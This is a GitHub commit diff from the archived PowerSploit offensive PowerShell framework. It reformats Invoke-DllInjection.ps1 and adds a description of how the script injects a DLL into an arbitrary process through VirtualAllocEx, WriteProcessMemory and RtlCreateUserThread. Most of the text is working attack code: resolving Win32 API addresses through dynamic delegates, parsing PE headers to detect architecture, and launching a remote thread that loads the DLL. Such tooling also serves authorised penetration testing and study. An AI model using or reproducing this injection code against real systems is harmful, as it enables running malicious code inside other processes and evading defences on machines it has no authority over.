Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 1980f40

Browse files
committed
For ./CodeExecution/ :
-PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs
1 parent 7cdaa3c commit 1980f40

9 files changed

+3578
-2769
lines changed

CodeExecution/Invoke-DllInjection.ps1

+33-27
Original file line numberDiff line numberDiff line change
@@ -5,15 +5,19 @@ function Invoke-DllInjection
55
66
Injects a Dll into the process ID of your choosing.
77
8-
PowerSploit Function: Invoke-DllInjection
9-
Author: Matthew Graeber (@mattifestation)
10-
License: BSD 3-Clause
11-
Required Dependencies: None
12-
Optional Dependencies: None
8+
PowerSploit Function: Invoke-DllInjection
9+
Author: Matthew Graeber (@mattifestation)
10+
License: BSD 3-Clause
11+
Required Dependencies: None
12+
Optional Dependencies: None
1313
1414
.DESCRIPTION
1515
1616
Invoke-DllInjection injects a Dll into an arbitrary process.
17+
It does this by using VirtualAllocEx to allocate memory the size of the
18+
DLL in the remote process, writing the names of the DLL to load into the
19+
remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
20+
to invoke LoadLibraryA in the context of the remote process.
1721
1822
.PARAMETER ProcessID
1923
@@ -40,6 +44,8 @@ Use the '-Verbose' option to print detailed information.
4044
http://www.exploit-monday.com
4145
#>
4246

47+
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
48+
[CmdletBinding()]
4349
Param (
4450
[Parameter( Position = 0, Mandatory = $True )]
4551
[Int]
@@ -59,7 +65,7 @@ http://www.exploit-monday.com
5965
{
6066
Throw "Process does not exist!"
6167
}
62-
68+
6369
# Confirm that the path to the dll exists
6470
try
6571
{
@@ -79,11 +85,11 @@ http://www.exploit-monday.com
7985
Param
8086
(
8187
[OutputType([Type])]
82-
88+
8389
[Parameter( Position = 0)]
8490
[Type[]]
8591
$Parameters = (New-Object Type[](0)),
86-
92+
8793
[Parameter( Position = 1 )]
8894
[Type]
8995
$ReturnType = [Void]
@@ -98,7 +104,7 @@ http://www.exploit-monday.com
98104
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
99105
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
100106
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
101-
107+
102108
Write-Output $TypeBuilder.CreateType()
103109
}
104110

@@ -107,11 +113,11 @@ http://www.exploit-monday.com
107113
Param
108114
(
109115
[OutputType([IntPtr])]
110-
116+
111117
[Parameter( Position = 0, Mandatory = $True )]
112118
[String]
113119
$Module,
114-
120+
115121
[Parameter( Position = 1, Mandatory = $True )]
116122
[String]
117123
$Procedure
@@ -128,7 +134,7 @@ http://www.exploit-monday.com
128134
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
129135
$tmpPtr = New-Object IntPtr
130136
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
131-
137+
132138
# Return the address of the function
133139
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
134140
}
@@ -142,43 +148,43 @@ http://www.exploit-monday.com
142148
[String]
143149
$Path
144150
)
145-
151+
146152
# Parse PE header to see if binary was compiled 32 or 64-bit
147153
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
148-
154+
149155
[Byte[]] $MZHeader = New-Object Byte[](2)
150156
$FileStream.Read($MZHeader,0,2) | Out-Null
151-
157+
152158
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
153159
if ($Header -ne 'MZ')
154160
{
155161
$FileStream.Close()
156162
Throw 'Invalid PE header.'
157163
}
158-
164+
159165
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
160166
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
161-
167+
162168
[Byte[]] $lfanew = New-Object Byte[](4)
163-
169+
164170
# Read offset to the PE Header (will be read in reverse)
165171
$FileStream.Read($lfanew,0,4) | Out-Null
166-
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
167-
172+
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
173+
168174
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
169175
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
170176
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
171-
177+
172178
# Read compiled architecture
173179
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
174-
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
180+
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
175181
$FileStream.Close()
176-
182+
177183
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
178184
{
179185
Throw 'Invalid PE header or unsupported architecture.'
180186
}
181-
187+
182188
if ($Architecture -eq '014C')
183189
{
184190
Write-Output 'X86'
@@ -193,7 +199,7 @@ http://www.exploit-monday.com
193199
}
194200
}
195201

196-
202+
197203
# Get addresses of and declare delegates for essential Win32 functions.
198204
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
199205
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
@@ -307,7 +313,7 @@ http://www.exploit-monday.com
307313
{
308314
Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
309315
}
310-
316+
311317
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
312318

313319
# Close process handle
@@ -317,7 +323,7 @@ http://www.exploit-monday.com
317323

318324
# Extract just the filename from the provided path to the dll.
319325
$FileName = (Split-Path $Dll -Leaf).ToLower()
320-
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.ToLower().Contains($FileName) }
326+
$DllInfo = (Get-Process -Id $ProcessID).Modules | Where-Object { $_.FileName.ToLower().Contains($FileName) }
321327

322328
if (!$DllInfo)
323329
{

0 commit comments

Comments
 (0)